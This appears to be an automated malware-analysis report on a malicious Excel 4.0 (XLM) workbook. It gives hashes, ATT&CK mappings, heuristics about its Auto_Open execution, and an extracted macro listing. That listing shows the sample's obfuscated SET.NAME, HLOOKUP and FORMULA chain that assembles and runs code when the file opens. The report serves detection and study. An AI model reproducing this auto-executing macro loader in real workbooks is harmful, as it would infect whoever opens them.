Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9cb433652b884561…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:07 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 3a857db781b058683aec20211fbd6831 SHA-1: 61cbdc1447fa0978ad6296a677eeed5a549af757 SHA-256: 9cb433652b884561a0077ea55f4ce22ea7ecc792f71efca263a720feed5352e3
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further confirms the intent to execute arbitrary code. This suggests the file is designed to exploit the Auto_Open functionality to deliver a malicious payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6647 bytes
SHA-256: 7c865341477346dc348cada1cc7df48f1c132a8106961148f172a03c578b8807
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fzaHLyDXJD
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H145 
' 0018     22 LABEL : Cell Value, String Constant - BsrGugM len=0 
' 0018     25 LABEL : Cell Value, String Constant - CZNiGlfvfT len=0 
' 0018     23 LABEL : Cell Value, String Constant - DGeuOXNU len=0 
' 0018     20 LABEL : Cell Value, String Constant - dHBCR len=0 
' 0018     21 LABEL : Cell Value, String Constant - glwJqo len=0 
' 0018     23 LABEL : Cell Value, String Constant - HEUkXXgn len=0 
' 0018     25 LABEL : Cell Value, String Constant - IincTAwsDF len=0 
' 0018     22 LABEL : Cell Value, String Constant - KZNxzzo len=0 
' 0018     26 LABEL : Cell Value, String Constant - lTpWhxYzQQZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - mmmLxeR len=0 
' 0018     25 LABEL : Cell Value, String Constant - MTDXdJOUVW len=0 
' 0018     24 LABEL : Cell Value, String Constant - nfDNJDpiL len=0 
' 0018     21 LABEL : Cell Value, String Constant - ObvGvc len=0 
' 0018     23 LABEL : Cell Value, String Constant - PmjzGNgW len=0 
' 0018     27 LABEL : Cell Value, String Constant - rHFHxuYjgPmd len=0 
' 0018     20 LABEL : Cell Value, String Constant - shRxO len=0 
' 0018     26 LABEL : Cell Value, String Constant - TtZyfZDiXEi len=0 
' 0018     24 LABEL : Cell Value, String Constant - YJKQZwIUe len=0 
' 0018     21 LABEL : Cell Value, String Constant - YKfUfA len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZvZyjqQU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fzaHLyDXJD,H55,"SET.NAME("MTDXdJOUVW",VALUE("0"))",""
'  fzaHLyDXJD,H59,"SET.NAME("HEUkXXgn",MTDXdJOUVW)",""
'  fzaHLyDXJD,H64,"SET.NAME("dHBCR",MTDXdJOUVW)",""
'  fzaHLyDXJD,H66,"SET.NAME("YKfUfA",COUNTA(YJKQZwIUe))",""
'  fzaHLyDXJD,H71,"SET.NAME("ObvGvc",COUNTA(BsrGugM))",""
'  fzaHLyDXJD,H75,[],""
'  fzaHLyDXJD,H80,"SET.NAME("DGeuOXNU","")",""
'  fzaHLyDXJD,H82,"HEUkXXgn",""
'  fzaHLyDXJD,H84,"SET.NAME("shRxO",HLOOKUP("*",YJKQZwIUe,HEUkXXgn,FALSE))",""
'  fzaHLyDXJD,H87,"lTpWhxYzQQZ",""
'  fzaHLyDXJD,H90,"SET.NAME("ZvZyjqQU",MTDXdJOUVW)",""
'  fzaHLyDXJD,H93,[],""
'  fzaHLyDXJD,H97,"ZvZyjqQU",""
'  fzaHLyDXJD,H99,"glwJqo",""
'  fzaHLyDXJD,H104,"rHFHxuYjgPmd",""
'  fzaHLyDXJD,H106,"TtZyfZDiXEi",""
'  fzaHLyDXJD,H110,"SET.NAME("nfDNJDpiL",VALUE(HLOOKUP("*",BsrGugM,TtZyfZDiXEi,FALSE)))",""
'  fzaHLyDXJD,H112,"CZNiGlfvfT",""
'  fzaHLyDXJD,H114,"DGeuOXNU",""
'  fzaHLyDXJD,H117,"dHBCR",""
'  fzaHLyDXJD,H120,NEXT(),""
'  fzaHLyDXJD,H125,"mmmLxeR",""
'  fzaHLyDXJD,H129,"SET.NAME("f",INT(T(FORMULA(T(DGeuOXNU)&"",""&T(mmmLxeR)))))",""
'  fzaHLyDXJD,H134,"KZNxzzo",""
'  fzaHLyDXJD,H138,NEXT(),""
'  fzaHLyDXJD,H141,RETURN(),""
'  fzaHLyDXJD,H174,"SET.NAME("IincTAwsDF",H55)",""
'  fzaHLyDXJD,H177,"YJKQZwIUe",""
'  fzaHLyDXJD,H179,"SET.NAME("BsrGugM",R76C11)",""
'  fzaHLyDXJD,H184,"SET.NAME("KZNxzzo",189)",""
'  fzaHLyDXJD,H186,"SET.NAME("PmjzGNgW",8)",""
'  fzaHLyDXJD,H188,IincTAwsDF(),""
'  fzaHLyDXJD,H189,HALT(),""